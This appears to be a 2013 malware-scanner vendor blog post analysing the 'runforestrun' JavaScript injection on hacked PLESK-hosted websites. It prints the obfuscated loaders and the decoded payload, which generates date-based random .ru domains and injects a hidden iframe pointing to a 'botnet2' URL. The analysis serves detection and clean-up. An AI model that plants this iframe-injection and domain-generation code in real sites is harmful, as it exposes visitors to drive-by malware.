Friday, May 10, 2013

JavaScript threat injects malicious iframes to hacked web-sites on PLESK powered servers


Obfuscated JavaScript threat injects malicious iframes to .ru hacked web-sites managed by PLESK panel

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website user and which downloads content from remote malware distributor. The 'runforestrun attack' was detected previously on .eu website and was posted here. Current version of the threat implements two level of obfuscation and is better crafted but still can be identified. The compromised website is located in United States and it hosts malicious JavaScript code injected in file. The malicious domains to which visitor will be redirected are generated by script using functions returning random values. There is a professional  breakdown of the similar attack by unmask parasites post in 2012. Below is our analysis of the current threat.

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Fri May 10 04:02:13 2013
Infected website's files: 1
Website malware scan report link: http://goo.gl/SFuxi


Quttera | Website Malware Scanner



Malicious JavaScript | runforestrun attack


Threat dump:

See in pastebin - http://pastebin.com/VPkKXeMJ
Or click Scanned Files Analysis tab in sitescan report http://goo.gl/SFuxi


Malware entry


First level of script obfuscation


First level of obfuscation injects obfuscated JavaScript code that further executed and injects malicious iframes. The following code utilize pretty simple obfuscation technique based on generation of a string from list of characters.

  1. <script>
  2. /*km0ae9gr6m*/
  3. window.eval(String.fromCharCode(116, 114, 121, 123, 112, 114, 111, 116, 111, 116, 121, 112, 101, 37, 50, 59, 125,99, 97, 116, 99, 104, 40, 97, 115, 100, 41, 123, 120, 61, 50, 59, 125, 116, 114, 121, 123, 113, 61, 100, 111, 99,117, 109, 101, 110, 116, 91, 40, 120, 41, 63, 34, 99, 34, 43, 34, 114, 34, 58, 50, 43, 34, 101, 34, 43, 34, 97,34, 43, 34, 116, 34, 43, 34, 101, 34, 43, 34, 69, 34, 43, 34, 108, 34, 43, 34, 101, 34, 43, 34, 109, 34, 43, 40,40, 102, 41, 63, 34, 101, 34, 43, 34, 110, 34, ...
  4. 91, 102, 114, 43, 40, 40, 101, 41, 63, 34, 67, 111, 100, 101, 34, 58, 49, 50, 41, 93, 40, 40, 119, 91, 106, 93,47, 40, 53, 43, 101, 40, 34, 106, 37, 50, 34, 41, 41, 41, 41, 59, 125, 10, 105, 102, 40, 102, 41, 101, 40, 115,41, 59, 125, 10));
  5. </script>


Second level of script obfuscation


Second level of obfuscation injects more complicated code utilizing execution exceptions handlers and smartly initialize local variables based on correct execution flow.

Current decoding procedure w[j] / (5 + eval('j%2')) takes each element of characters array and divides it by 5 or 6 depending on its even or odd location in the array.


  1. <script>
  2. try {
  3.     prototype % 2;
  4. } catch (asd) {
  5.     x = 2;
  6. }
  7. try {
  8.     q = document[(x) ? "c" + "r" : 2 + "e" + "a" + "t" + "e" + "E" + "l" + "e" + "m" + ((f) ? "e" + "n" + "t" :"")]("p");
  9.     q.appendChild(+ "");
  10. } catch (fwbewe) {
  11.     i = 0;
  12.     try {
  13.         prototype * 5;
  14.     } catch (z) {
  15.         fr = "fromChar";
  16.         f = [510, 702, 550, 594, 580, 630, 555, 660, 160, 660, 505, 720, 580, 492, 485, 660, 500, 666, 545, 468,585, 654, 490, 606, 570, 240, 205, 738, 50, 192, 160, 192, 160, 708, 485, 684, 160, 624, 525, 192, 305, 192, 580,624, 525, 690, 230, 690, 505, 606, 500, 192, 235, 192, 580, 624, 525, 690, 230, 486, 295, 60, 160, 192, 160, 192,590, 582, 570, 192, 540, 666, 160, 366, 160, 696, 520, ...
  17. 160, 192, 160, 192, 160, 192, 160, 192, 160, 600, 555, 594, 585, 654, 505, 660, 580, 276, 490, 666, 500, 726, 230,582, 560, 672, 505, 660, 500, 402, 520, 630, 540, 600, 200, 630, 510, 684, 545, 246, 295, 60, 160, 192, 160, 192,160, 192, 160, 192, 625, 60, 160, 192, 160, 192, 625, 594, 485, 696, 495, 624, 200, 606, 205, 738, 625, 60, 625,264, 160, 318, 240, 288, 205, 354];
  18.         v = "eva";
  19.     }
  20.     if (v) e = window[+ "l"];
  21.     w = f;
  22.     s = [];
  23.     r = String;
  24.     z = ((e) ? "Code" : "");
  25.     for (; 1776 - 5 + 5 > i; i += 1) {
  26.         j = i;
  27.         if (e) s = s + r[fr + ((e) ? "Code" : 12)]((w[j] / (5 + e("j%2"))));
  28.     }
  29.     if (f) e(s);
  30. }
  31. </script>


Malicious payload


Finally decoded threat generates hidden iframes to random previously hacked *.ru domains

  1. <script>
  2. function nextRandomNumber() {
  3.     var hi = this.seed / this.Q;
  4.     var lo = this.seed % this.Q;
  5.     var test = this.A * lo - this.R * hi;
  6.     if (test > 0) {
  7.         this.seed = test;
  8.     } else {
  9.         this.seed = test + this.M;
  10.     }
  11.     return (this.seed * this.oneOverM);
  12. }
  13.  
  14. function RandomNumberGenerator(unix) {
  15.     var d = new Date(unix * 1000);
  16.     var s = d.getHours() > 12 ? 1 : 0;
  17.     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(* 0xFFF));
  18.     this.A = 48271;
  19.     this.M = 2147483647;
  20.     this.Q = this.M / this.A;
  21.     this.R = this.M % this.A;
  22.     this.oneOverM = 1.0 / this.M;
  23.     this.next = nextRandomNumber;
  24.     return this;
  25. }
  26.  
  27. function createRandomNumber(r, Min, Max) {
  28.     return Math.round((Max - Min) * r.next() + Min);
  29. }
  30.  
  31. function generatePseudoRandomString(unix, length, zone) {
  32.     var rand = new RandomNumberGenerator(unix);
  33.     var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y', 'z'];
  34.     var str = '';
  35.     for (var i = 0; i < length; i++) {
  36.         str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  37.     }
  38.     return str + '.' + zone;
  39. }
  40.  
  41. setTimeout(function () {
  42.     try {
  43.         if (typeof iframeWasCreated == "undefined") {
  44.             iframeWasCreated = true;
  45.             var unix = Math.round(+new Date() / 1000);
  46.             var domainName = generatePseudoRandomString(unix, 16, 'ru');
  47.             ifrm = document.createElement("IFRAME");
  48.             ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
  49.             ifrm.style.width = "0px";
  50.             ifrm.style.height = "0px";
  51.             ifrm.style.visibility = "hidden";
  52.             document.body.appendChild(ifrm);
  53.         }
  54.     } catch (e) {}
  55. }, 500);
  56. </script>



When this post is being created the google shows the following domains:

As we saw from the analysis the domains will be generated randomaly and might not be the same as detected by google.

Blacklisting status


The website is Suspicious on Google Safe Browsing.


Google Safe Browsing analysis

Malware clean-up


Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.